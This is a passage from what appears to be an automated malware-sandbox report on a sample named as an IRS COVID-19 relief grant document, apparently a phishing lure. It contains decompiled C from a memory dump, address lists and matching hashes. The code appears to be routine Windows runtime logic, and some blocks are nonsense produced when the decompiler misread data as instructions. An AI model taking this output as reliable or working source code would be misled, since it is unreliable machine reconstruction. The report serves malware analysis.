				_t314 = 0;
				_v37 = _t334 == 0;
				if(_v48 <= 0) {
					L16:
					_t45 = _t274 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t322 = 0xc0000106;
						goto L32;
					} else {
						_t321 = L1E284620(_t282,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t274);
						_v52 = _t321;
						__eflags = _t321;
						if(_t321 == 0) {
							_t322 = 0xc0000017;
							goto L32;
						} else {
							 *(_t321 + 0x44) =  *(_t321 + 0x44) & 0x00000000;
							_t50 = _t321 + 0x48; // 0x48
							_t316 = _t50;
							_t302 = _v32;
							 *(_t321 + 0x3c) = _t274;
							_t276 = 0;
							 *((short*)(_t321 + 0x30)) = _v48;
							__eflags = _t302;
							if(_t302 != 0) {
								 *(_t321 + 0x18) = _t316;
								__eflags = _t302 - 0x1e358478;
								 *_t321 = ((0 | _t302 == 0x1e358478) - 0x00000001 & 0xfffffffb) + 7;
								E1E2AF3E0(_t316,  *((intOrPtr*)(_t302 + 4)),  *_t302 & 0x0000ffff);
								_t302 = _v32;
								_t332 = _t332 + 0xc;
								_t276 = 1;
								__eflags = _a8;
								_t316 = _t316 + (( *_t302 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t268 = E1E2F39F2(_t316);
									_t302 = _v32;
									_t316 = _t268;
								}
							}
							_t286 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t322 = _v68;
								__eflags = 0;
								 *((short*)(_t316 - 2)) = 0;
								goto L32;
							} else {
								_t274 = _t321 + _t276 * 4;
								_v56 = _t274;
								do {
									__eflags = _t302;
									if(_t302 != 0) {
										_t229 =  *(_v60 + _t286 * 4);
										__eflags = _t229;
										if(_t229 == 0) {
											goto L30;
										} else {
											__eflags = _t229 == 5;
											if(_t229 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t274 =  *(_v60 + _t286 * 4);
										 *(_t274 + 0x18) = _t316;
										_t233 =  *(_v60 + _t286 * 4);
										__eflags = _t233 - 8;
										if(_t233 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t233 * 4 +  &M1E292959))) {
												case 0:
													__ax =  *0x1e358488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E1E2AF3E0(__edi,  *0x1e35848c, __ax & 0x0000ffff);
														__eax =  *0x1e358488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E1E2AF3E0(_t316, _v80, _v64);
													_t263 = _v64;
													goto L26;
												case 2:
													 *0x1e358480 & 0x0000ffff = E1E2AF3E0(__edi,  *0x1e358484,  *0x1e358480 & 0x0000ffff);
													__eax =  *0x1e358480 & 0x0000ffff;
													__eax = ( *0x1e358480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E1E2AF3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E1E2AF3E0(_t316, _v76, _v36);
														_t263 = _v36;
													}
													L26:
													_t332 = _t332 + 0xc;
													_t316 = _t316 + (_t263 >> 1) * 2 + 2;
													__eflags = _t316;
													L27:
													_push(0x3b);
													_pop(_t265);
													 *((short*)(_t316 - 2)) = _t265;
													goto L28;
												case 6:
													__ebx =  *0x1e35575c;
													__eflags = __ebx - 0x1e35575c;
													if(__ebx != 0x1e35575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E1E2AF3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x1e35575c;
														} while (__ebx != 0x1e35575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x1e358478 & 0x0000ffff = E1E2AF3E0(__edi,  *0x1e35847c,  *0x1e358478 & 0x0000ffff);
													__eax =  *0x1e358478 & 0x0000ffff;
													__eax = ( *0x1e358478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E1E2F39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x1e356e58 & 0x0000ffff = E1E2AF3E0(__edi,  *0x1e356e5c,  *0x1e356e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x1e356e58 & 0x0000ffff;
													__eax = ( *0x1e356e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t286 = _v16;
													_t302 = _v32;
													L29:
													_t274 = _t274 + 4;
													__eflags = _t274;
													_v56 = _t274;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t286 = _t286 + 1;
									_v16 = _t286;
									__eflags = _t286 - _v48;
								} while (_t286 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t233 =  *(_v60 + _t314 * 4);
						if(_t233 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t233 * 4 +  &M1E292935))) {
							case 0:
								__ax =  *0x1e358488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t302 =  &_v64;
								_v80 = E1E292E3E(0,  &_v64);
								_t274 = _t274 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x1e358480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1e358480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E1E27EEF0(0x1e3579a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E1E27EB70(__ecx, 0x1e3579a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t207 = _v72;
											__eflags = _t207;
											if(_t207 != 0) {
												L1E2877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t207);
											}
											_t208 = _v52;
											__eflags = _t208;
											if(_t208 != 0) {
												__eflags = _t322;
												if(_t322 < 0) {
													L1E2877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t208);
													_t208 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t282 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x1e357b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L1E284620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E1E27EB70(__ecx, 0x1e3579a0);
										__eax = _v52;
										L36:
										_pop(_t315);
										_pop(_t323);
										__eflags = _v8 ^ _t328;
										_pop(_t275);
										return E1E2AB640(_t208, _t275, _v8 ^ _t328, _t302, _t315, _t323);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t270 = _v56;
								if(_v56 != 0) {
									_t302 =  &_v36;
									_t272 = E1E292E3E(_t270,  &_v36);
									_t282 = _v36;
									_v76 = _t272;
								}
								if(_t282 == 0) {
									goto L44;
								} else {
									_t274 = _t274 + 2 + _t282;
								}
								goto L14;
							case 6:
								__eax =  *0x1e355764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x1e358478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1e358478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x1e356e58 & 0x0000ffff;
								__eax = ( *0x1e356e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t314 = _t314 + 1;
								if(_t314 >= _v48) {
									goto L16;
								} else {
									_t302 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t287 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					 *_t321 =  *_t321 - _t274;
					asm("o16 sub [ecx], ch");
					_push(ds);
					asm("loopne 0x29");
					 *_t321 =  *_t321 - _t274;
					 *[es:esi] =  *[es:esi] - _t274;
					_t324 = _t321 + 1;
					 *_t287 =  *_t287 - _t287;
					_t278 = ds;
					_push(ds);
					 *_t287 =  *_t287 - _t328;
					_push(ds);
					 *(_t233 + 0x1f1e2926 - 0x2928941e ^ 0x021e2d5b) =  *(_t233 + 0x1f1e2926 - 0x2928941e ^ 0x021e2d5b) - 0x29;
					_push(ds);
					 *_t324 =  *_t324 - _t278;
					_push(ds);
					 *_t287 =  *_t287 - _t287;
					_push(ds);
					_t325 = _t324 - 1;
					 *_t287 =  *_t287 - _t287;
					_push(ds);
					asm("daa");
					 *_t325 =  *_t325 - _t278;
					asm("fcomp dword [ebx+0x2d]");
					_push(ds);
					 *_t325 =  *_t325 - _t278;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x1e33ff00);
					E1E2BD08C(_t278, _t316, _t325);
					_v44 =  *[fs:0x18];
					_t317 = 0;
					 *_a24 = 0;
					_t279 = _a12;
					__eflags = _t279;
					if(_t279 == 0) {
						_t243 = 0xc0000100;
					} else {
						_v8 = 0;
						_t326 = 0xc0000100;
						_v52 = 0xc0000100;
						_t245 = 4;
						while(1) {
							_v40 = _t245;
							__eflags = _t245;
							if(_t245 == 0) {
								break;
							}
							_t292 = _t245 * 0xc;
							_v48 = _t292;
							__eflags = _t279 -  *((intOrPtr*)(_t292 + 0x1e241664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t260 = E1E2AE5C0(_a8,  *((intOrPtr*)(_t292 + 0x1e241668)), _t279);
									_t332 = _t332 + 0xc;
									__eflags = _t260;
									if(__eflags == 0) {
										_t326 = E1E2E51BE(_t279,  *((intOrPtr*)(_v48 + 0x1e24166c)), _a16, _t317, _t326, __eflags, _a20, _a24);
										_v52 = _t326;
										break;
									} else {
										_t245 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t245 = _t245 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t326;
						__eflags = _t326;
						if(_t326 < 0) {
							__eflags = _t326 - 0xc0000100;
							if(_t326 == 0xc0000100) {
								_t288 = _a4;
								__eflags = _t288;
								if(_t288 != 0) {
									_v36 = _t288;
									__eflags =  *_t288 - _t317;
									if( *_t288 == _t317) {
										_t326 = 0xc0000100;
										goto L76;
									} else {
										_t305 =  *((intOrPtr*)(_v44 + 0x30));
										_t247 =  *((intOrPtr*)(_t305 + 0x10));
										__eflags =  *((intOrPtr*)(_t247 + 0x48)) - _t288;
										if( *((intOrPtr*)(_t247 + 0x48)) == _t288) {
											__eflags =  *(_t305 + 0x1c);
											if( *(_t305 + 0x1c) == 0) {
												L106:
												_t326 = E1E292AE4( &_v36, _a8, _t279, _a16, _a20, _a24);
												_v32 = _t326;
												__eflags = _t326 - 0xc0000100;
												if(_t326 != 0xc0000100) {
													goto L69;
												} else {
													_t317 = 1;
													_t288 = _v36;
													goto L75;
												}
											} else {
												_t250 = E1E276600( *(_t305 + 0x1c));
												__eflags = _t250;
												if(_t250 != 0) {
													goto L106;
												} else {
													_t288 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t326 = E1E292C50(_t288, _a8, _t279, _a16, _a20, _a24, _t317);
											L76:
											_v32 = _t326;
											goto L69;
										}
									}
									goto L108;
								} else {
									E1E27EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t326 = _a24;
									_t257 = E1E292AE4( &_v36, _a8, _t279, _a16, _a20, _t326);
									_v32 = _t257;
									__eflags = _t257 - 0xc0000100;
									if(_t257 == 0xc0000100) {
										_v32 = E1E292C50(_v36, _a8, _t279, _a16, _a20, _t326, 1);
									}
									_v8 = _t317;
									E1E292ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t243 = _t326;
					}
					L70:
					return E1E2BD0D1(_t243);
				}
				L108:
			}

0x1e292584
0x1e292586
0x1e292590
0x1e292596
0x1e292597
0x1e292598
0x1e292599
0x1e29259e
0x1e2925a4
0x1e2925a9
0x1e2925ac
0x1e2925ae
0x1e2925b1
0x1e2925b2
0x1e2925b5
0x1e2925b8
0x1e2925bb
0x1e2925bc
0x1e2925bf
0x1e2925c2
0x1e2925c5
0x1e2925c6
0x1e2925cb
0x1e2925ce
0x1e2925d8
0x1e2925db
0x1e2925dd
0x1e2925de
0x1e2925e1
0x1e2925e3
0x1e2925e9
0x1e2926da
0x1e2926da
0x1e2926dd
0x1e2926e2
0x1e2d5b56
0x00000000
0x1e2926e8
0x1e2926f9
0x1e2926fb
0x1e2926fe
0x1e292700
0x1e2d5b60
0x00000000
0x1e292706
0x1e292706
0x1e29270a
0x1e29270a
0x1e29270d
0x1e292713
0x1e292716
0x1e292718
0x1e29271c
0x1e29271e
0x1e2d5b6c
0x1e2d5b6f
0x1e2d5b7f
0x1e2d5b89
0x1e2d5b8e
0x1e2d5b93
0x1e2d5b96
0x1e2d5b9c
0x1e2d5ba0
0x1e2d5ba3
0x1e2d5bab
0x1e2d5bb0
0x1e2d5bb3
0x1e2d5bb3
0x1e2d5ba3
0x1e292724
0x1e292726
0x1e292729
0x1e29272c
0x1e29279d
0x1e29279d
0x1e2927a0
0x1e2927a2
0x00000000
0x1e29272e
0x1e29272e
0x1e292731
0x1e292734
0x1e292734
0x1e292736
0x1e2d5bc1
0x1e2d5bc1
0x1e2d5bc4
0x00000000
0x1e2d5bca
0x1e2d5bca
0x1e2d5bcd
0x00000000
0x1e2d5bd3
0x00000000
0x1e2d5bd3
0x1e2d5bcd
0x1e29273c
0x1e29273c
0x1e292742
0x1e292747
0x1e29274a
0x1e29274d
0x1e292750
0x00000000
0x1e292756
0x1e292756
0x00000000
0x1e292902
0x1e292908
0x1e29290b
0x00000000
0x1e292911
0x1e29291c
0x1e292921
0x00000000
0x1e292921
0x00000000
0x00000000
0x1e292880
0x1e292887
0x1e29288c
0x00000000
0x00000000
0x1e292805
0x1e29280a
0x1e292814
0x1e292816
0x00000000
0x00000000
0x1e29281e
0x1e292821
0x1e292823
0x00000000
0x1e292829
0x1e292829
0x1e292831
0x1e29283c
0x1e29283e
0x00000000
0x1e29283e
0x00000000
0x00000000
0x1e29284e
0x1e292850
0x1e292851
0x1e292854
0x1e292857
0x1e29285a
0x1e29285c
0x1e29285d
0x00000000
0x00000000
0x1e29275d
0x1e292761
0x00000000
0x1e292767
0x1e29276e
0x1e292773
0x1e292773
0x1e292776
0x1e292778
0x1e29277e
0x1e29277e
0x1e292781
0x1e292781
0x1e292783
0x1e292784
0x00000000
0x00000000
0x1e2d5bd8
0x1e2d5bde
0x1e2d5be4
0x1e2d5be6
0x1e2d5be8
0x1e2d5be9
0x1e2d5bee
0x1e2d5bf8
0x1e2d5bff
0x1e2d5c01
0x1e2d5c04
0x1e2d5c07
0x1e2d5c0b
0x1e2d5c0d
0x1e2d5c0d
0x1e2d5c15
0x1e2d5c18
0x1e2d5c1b
0x1e2d5c1b
0x1e2d5c1e
0x00000000
0x00000000
0x1e2928c3
0x1e2928c8
0x1e2928d2
0x1e2928d4
0x1e2928d8
0x1e2928db
0x1e2d5c26
0x1e2d5c28
0x1e2d5c2d
0x1e2d5c2d
0x00000000
0x00000000
0x1e2d5c34
0x1e2d5c36
0x1e2d5c49
0x1e2d5c4e
0x1e2d5c54
0x1e2d5c5b
0x1e2d5c5d
0x1e2d5c60
0x1e292788
0x1e292788
0x1e29278b
0x1e29278e
0x1e29278e
0x1e29278e
0x1e292791
0x00000000
0x00000000
0x1e292756
0x1e292750
0x00000000
0x1e292794
0x1e292794
0x1e292795
0x1e292798
0x1e292798
0x00000000
0x1e292734
0x1e29272c
0x1e292700
0x1e2925ef
0x1e2925ef
0x1e2925ef
0x1e2925f2
0x1e2925f8
0x00000000
0x00000000
0x1e2925fe
0x00000000
0x1e2928e6
0x1e2928ec
0x1e2928ef
0x1e2928f5
0x1e2928f8
0x1e2928f8
0x00000000
0x1e2928f8
0x00000000
0x00000000
0x1e292866
0x1e292866
0x1e292876
0x1e292879
0x00000000
0x00000000
0x1e2927e0
0x1e2927e7
0x1e2927e9
0x1e2927eb
0x1e2d5afd
0x00000000
0x1e2d5afd
0x00000000
0x00000000
0x1e292633
0x1e292638
0x1e29263b
0x1e29263c
0x1e29263e
0x1e292640
0x1e292642
0x1e292647
0x1e292649
0x1e29264e
0x1e292650
0x1e292653
0x1e292659
0x1e2926a2
0x1e2926a7
0x1e2926ac
0x1e2926b2
0x1e2d5b11
0x1e2d5b15
0x1e2d5b17
0x00000000
0x1e2926b8
0x1e2926b8
0x1e2926ba
0x1e2927a6
0x1e2927a6
0x1e2927a9
0x1e2927ab
0x1e2927b9
0x1e2927b9
0x1e2927be
0x1e2927c1
0x1e2927c3
0x1e2927c5
0x1e2927c7
0x1e2d5c74
0x1e2d5c79
0x1e2d5c79
0x1e2927c7
0x00000000
0x1e2926c0
0x1e2926c0
0x1e2926c3
0x1e2926c6
0x1e2926c6
0x1e2926c9
0x1e2926c9
0x00000000
0x1e2926c9
0x1e2926ba
0x1e29265b
0x1e29265b
0x1e29265e
0x1e292667
0x1e29266d
0x1e292677
0x1e29267c
0x1e29267f
0x1e292681
0x1e2d5b49
0x1e2d5b4e
0x1e2927cd
0x1e2927d0
0x1e2927d1
0x1e2927d2
0x1e2927d4
0x1e2927dd
0x1e292687
0x1e292687
0x1e29268a
0x1e29268b
0x1e29268e
0x1e29268f
0x1e292691
0x1e292696
0x1e292698
0x1e29269d
0x1e29269f
0x00000000
0x1e29269f
0x1e292681
0x00000000
0x00000000
0x1e292846
0x00000000
0x00000000
0x1e292605
0x1e29260a
0x1e29260c
0x1e292611
0x1e292616
0x1e292619
0x1e292619
0x1e29261e
0x00000000
0x1e292624
0x1e292627
0x1e292627
0x00000000
0x00000000
0x1e2d5b1f
0x00000000
0x00000000
0x1e292894
0x1e29289b
0x1e29289d
0x1e2928a1
0x1e2d5b2b
0x1e2d5b2e
0x1e2d5b2e
0x1e2928a7
0x1e2928a9
0x1e2d5b04
0x1e2d5b09
0x1e2d5b09
0x1e2d5b09
0x00000000
0x00000000
0x1e2d5b35
0x1e2d5b3c
0x1e2928fb
0x1e2928fb
0x1e2926cc
0x1e2926cc
0x1e2926d0
0x00000000
0x1e2926d2
0x1e2926d2
0x00000000
0x1e2926d2
0x00000000
0x00000000
0x1e2925fe
0x1e29292d
0x1e29292f
0x1e292930
0x1e292935
0x1e292937
0x1e292939
0x1e29293c
0x1e29293d
0x1e29293f
0x1e292941
0x1e292945
0x1e292946
0x1e29294e
0x1e292954
0x1e29295a
0x1e29295c
0x1e29295d
0x1e292960
0x1e292963
0x1e292965
0x1e292966
0x1e292968
0x1e292969
0x1e29296a
0x1e29296c
0x1e29296e
0x1e29296f
0x1e292971
0x1e292974
0x1e292977
0x1e292980
0x1e292981
0x1e292982
0x1e292983
0x1e292984
0x1e292985
0x1e292986
0x1e292987
0x1e292988
0x1e292989
0x1e29298a
0x1e29298b
0x1e29298c
0x1e29298d
0x1e29298e
0x1e29298f
0x1e292990
0x1e292992
0x1e292997
0x1e2929a3
0x1e2929a6
0x1e2929ab
0x1e2929ad
0x1e2929b0
0x1e2929b2
0x1e2d5c80
0x1e2929b8
0x1e2929b8
0x1e2929bb
0x1e2929c0
0x1e2929c5
0x1e2929c6
0x1e2929c6
0x1e2929c9
0x1e2929cb
0x00000000
0x00000000
0x1e2929cd
0x1e2929d0
0x1e2929d9
0x1e2929db
0x1e2929dd
0x1e292a7f
0x1e292a84
0x1e292a87
0x1e292a89
0x1e2d5ca1
0x1e2d5ca3
0x00000000
0x1e292a8f
0x1e292a8f
0x00000000
0x1e292a8f
0x00000000
0x1e2929e3
0x1e2929e3
0x1e2929e3
0x00000000
0x1e2929e3
0x1e2929dd
0x00000000
0x1e2929db
0x1e2929e6
0x1e2929e9
0x1e2929eb
0x1e2929ed
0x1e2929f3
0x1e2929f5
0x1e2929f8
0x1e2929fa
0x1e292a97
0x1e292a9a
0x1e292a9d
0x1e292add
0x00000000
0x1e292a9f
0x1e292aa2
0x1e292aa5
0x1e292aa8
0x1e292aab
0x1e2d5cab
0x1e2d5caf
0x1e2d5cc5
0x1e2d5cda
0x1e2d5cdc
0x1e2d5cdf
0x1e2d5ce5
0x00000000
0x1e2d5ceb
0x1e2d5ced
0x1e2d5cee
0x00000000
0x1e2d5cee
0x1e2d5cb1
0x1e2d5cb4
0x1e2d5cb9
0x1e2d5cbb
0x00000000
0x1e2d5cbd
0x1e2d5cbd
0x00000000
0x1e2d5cbd
0x1e2d5cbb
0x1e292ab1
0x1e292ab1
0x1e292ac4
0x1e292ac6
0x1e292ac6
0x00000000
0x1e292ac6
0x1e292aab
0x00000000
0x1e292a00
0x1e292a09
0x1e292a0e
0x1e292a21
0x1e292a24
0x1e292a35
0x1e292a3a
0x1e292a3d
0x1e292a42
0x1e292a59
0x1e292a59
0x1e292a5c
0x1e292a5f
0x1e292a5f
0x1e2929fa
0x1e2929f3
0x1e292a64
0x1e292a64
0x1e292a6b
0x1e292a6b
0x1e292a6d
0x1e292a72
0x1e292a72
0x00000000

Strings

PATH, xrefs: 1E292642, 1E292691

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: ac46f1f809132c9612f1851a85e9fc3b86b9bf0607d49d9b6a96786e8290ed41
Instruction ID: e7a20f3c58a01f613e4f0c5198dd1abf20a456986623266d93563539633704a2
Opcode Fuzzy Hash: ac46f1f809132c9612f1851a85e9fc3b86b9bf0607d49d9b6a96786e8290ed41
Instruction Fuzzy Hash: 85C1B0B6D10229DBCB14CF99E8A0AEDB7B5FF49B00F145629E901BB350D734A841DB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E26F900, Relevance: .9, Instructions: 863
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E1E26F900(signed int _a4, signed int _a8) {
				signed char _v5;
				signed char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed char _t285;
				signed int _t289;
				signed char _t292;
				signed int _t293;
				signed char _t295;
				signed int _t300;
				signed int _t301;
				signed char _t306;
				signed char _t307;
				signed char _t308;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed char _t314;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t322;
				signed int _t323;
				signed int _t328;
				signed char _t329;
				signed int _t337;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				signed int _t348;
				signed char _t350;
				signed int _t351;
				signed char _t353;
				signed char _t356;
				signed int _t357;
				signed char _t359;
				signed int _t360;
				signed char _t363;
				signed int _t364;
				signed int _t366;
				signed int* _t372;
				signed char _t373;
				signed char _t378;
				signed int _t379;
				signed int* _t382;
				signed int _t383;
				signed char _t385;
				signed int _t387;
				signed int _t388;
				signed char _t390;
				signed int _t393;
				signed int _t395;
				signed char _t397;
				signed int _t401;
				signed int _t405;
				signed int _t407;
				signed int _t409;
				signed int _t410;
				signed int _t413;
				signed char _t415;
				signed int _t416;
				signed char _t418;
				signed int _t419;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed char* _t425;
				signed char _t426;
				signed char _t427;
				signed int _t428;
				signed int _t429;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t462;
				signed int _t464;
				signed int _t467;
				signed int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t477;
				signed int _t481;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;

				_t285 =  *(_a4 + 4);
				_t444 = _a8;
				_t452 =  *_t444;
				_t421 = _t285 & 1;
				if(_t421 != 0) {
					if(_t452 != 0) {
						_t452 = _t452 ^ _t444;
					}
				}
				_t393 =  *(_t444 + 4);
				if(_t421 != 0) {
					if(_t393 != 0) {
						_t393 = _t393 ^ _t444;
					}
				}
				_t426 = _t393;
				if(_t452 != 0) {
					_t426 = _t452;
				}
				_v5 = _t285 & 0x00000001;
				asm("sbb eax, eax");
				if((_t393 &  ~_t452) != 0) {
					_t289 = _t393;
					_t427 = _v5;
					_t422 = _t393;
					_v12 = _t393;
					_v16 = 1;
					if( *_t393 != 0) {
						_v16 = _v16 & 0x00000000;
						_t445 =  *_t393;
						goto L115;
						L116:
						_t289 = _t445;
						L117:
						_t445 =  *_t289;
						if(_t445 != 0) {
							L115:
							_t422 = _t289;
							if(_t427 != 0) {
								goto L183;
							}
							goto L116;
						} else {
							_t444 = _a8;
							_v12 = _t289;
							goto L27;
						}
						L183:
						if(_t445 == 0) {
							goto L116;
						}
						_t289 = _t289 ^ _t445;
						goto L117;
					}
					L27:
					if(_t427 != 0) {
						if(_t452 == 0) {
							goto L28;
						}
						_t428 = _t289 ^ _t452;
						L29:
						 *_t289 = _t428;
						_t429 =  *(_t452 + 8);
						_v20 = _t429;
						_t426 = _t429 & 0xfffffffc;
						_t292 =  *(_a4 + 4) & 0x00000001;
						_v6 = _t292;
						_t293 = _v12;
						if(_t292 != 0) {
							if(_t426 != 0) {
								_t426 = _t426 ^ _t452;
							}
						}
						if(_t426 != _t444) {
							L174:
							_t423 = 0x1d;
							asm("int 0x29");
							goto L175;
						} else {
							_t436 = _t293;
							if(_v6 != 0) {
								_t436 = _t436 ^ _t452;
							}
							_v20 = _v20 & 0x00000003;
							_v20 = _v20 | _t436;
							 *(_t452 + 8) = _v20;
							_t426 =  *(_t393 + 8) & 0xfffffffc;
							_t356 =  *(_a4 + 4) & 0x00000001;
							_v6 = _t356;
							_t357 = _v12;
							if(_t356 != 0) {
								if(_t426 != 0) {
									_t426 = _t426 ^ _t393;
								}
							}
							if(_t426 != _t444) {
								goto L174;
							} else {
								_t483 = _t393 ^ _t357;
								_v24 = _t483;
								if(_v6 == 0) {
									_v24 = _t357;
								}
								 *(_t393 + 8) =  *(_t393 + 8) & 0x00000003 | _v24;
								_t426 =  *(_t357 + 4);
								_t444 = _a8;
								_t359 =  *(_a4 + 4) & 0x00000001;
								_v6 = _t359;
								_t360 = _v12;
								_v24 = _t483;
								if(_t359 != 0) {
									_v24 = _t483;
									if(_t426 == 0) {
										goto L37;
									}
									_t426 = _t426 ^ _t360;
									L38:
									if(_v6 == 0) {
										_t483 = _t393;
									}
									_t413 =  *(_t360 + 8);
									 *(_t360 + 4) = _t483;
									_t452 = _t413 & 0xfffffffc;
									_v5 = _t413;
									_t363 =  *(_a4 + 4) & 0x00000001;
									_v6 = _t363;
									if(_t363 != 0) {
										_t364 = _v12;
										_v5 = _t413;
										if(_t452 == 0) {
											goto L41;
										}
										_v20 = _t452;
										_v20 = _v20 ^ _t364;
										L42:
										if(_v20 != _t422) {
											_v5 = _t413;
											if(_v6 == 0) {
												L199:
												_t366 = _v12;
												L200:
												if(_t452 != 0 || _t366 != _t422) {
													goto L174;
												} else {
													goto L43;
												}
											}
											_t366 = _v12;
											_v5 = _t413;
											if(_t452 == 0) {
												goto L199;
											}
											_t452 = _t452 ^ _t366;
											goto L200;
										}
										L43:
										_t486 =  *(_t444 + 8) & 0xfffffffc;
